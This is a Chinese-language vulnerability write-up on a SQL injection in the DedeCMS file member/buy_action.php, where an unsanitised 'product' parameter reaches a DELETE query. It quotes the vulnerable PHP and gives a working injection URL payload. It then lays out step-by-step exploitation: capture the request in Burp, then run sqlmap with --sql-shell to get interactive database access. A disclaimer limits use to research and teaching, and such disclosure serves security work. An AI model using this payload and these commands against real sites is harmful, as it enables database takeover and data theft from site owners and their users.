漏洞作者: Matt
[php]
member/buy_action.php require_once(dirname(__FILE__)."/config.php"); CheckRank(0,0); $menutype = 'mydede'; $menutype_son = 'op'; require_once DEDEINC.'/dedetemplate.class.php'; $product = isset($product) ? trim($product) : ''; $mid = $cfg_ml->M_ID; $ptype = ''; $pname = ''; $price = ''; $mtime = time(); if(isset($pd_encode) && isset($pd_verify) && md5 ("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify) { parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); foreach($mch_Post as $k => $v) $$k = $v; $row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'"); if(!isset($row['buyid'])) { ShowMsg("请不要重复提交表单!", 'javascript:;'); exit(); } if(!isset($paytype)) { ShowMsg("请选择支付方式!", 'javascript:;'); exit(); } $buyid = $row['buyid']; }else{ $buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999); //删除用户旧的未付款的同类记录 if(!empty($product)) { $dsql->ExecuteNoneQuery("Delete From #@__member_operation WHERE mid='$mid' And sta=0 And product='$product'");//注入点 }
[/php]
漏洞证明:
利用方式 注册用户之后登陆
打开http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and
1=1* and '1'='1
先利用burp抓一下访问包
然后将抓到的内容保存
然后利用sqlmap进行注入 执行如下命令
sqlmap.py -r c:/1.txt --sql-shell --threads=10 --dbms mysql
其中的1.txt就是我们保存的包文件
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论